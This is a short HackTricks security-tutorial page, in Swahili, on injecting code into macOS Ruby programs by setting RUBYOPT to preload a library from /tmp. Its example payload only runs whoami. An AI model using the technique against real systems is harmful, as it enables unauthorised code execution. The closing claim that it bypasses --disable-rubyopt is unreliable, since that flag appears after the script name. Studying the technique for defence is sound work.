macOS Ruby Applications Injection

Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

RUBYOPT

Kwa kutumia hii mazingira ya pembejeo, ni inawezekana kuongeza vigezo vipya kwa ruby wakati wowote inapotekelezwa. Ingawa kigezo -e hakiwezi kutumika kuainisha nambari ya ruby ya kutekeleza, inawezekana kutumia vigezo -I na -r kuongeza saraka mpya kwenye njia ya kupakia maktaba na kisha kuainisha maktaba ya kupakia.

Unda maktaba inject.rb kwenye /tmp:

inject.rb
puts `whoami`

Tengeneza skripti ya ruby mahali popote kama:

hello.rb
puts 'Hello, World!'

Kisha tengeneza skripti ya ruby isiyojulikana na uipakie kwa:

RUBYOPT="-I/tmp -rinject" ruby hello.rb

Ukweli wa kufurahisha, inafanya kazi hata na param --disable-rubyopt:

RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Last updated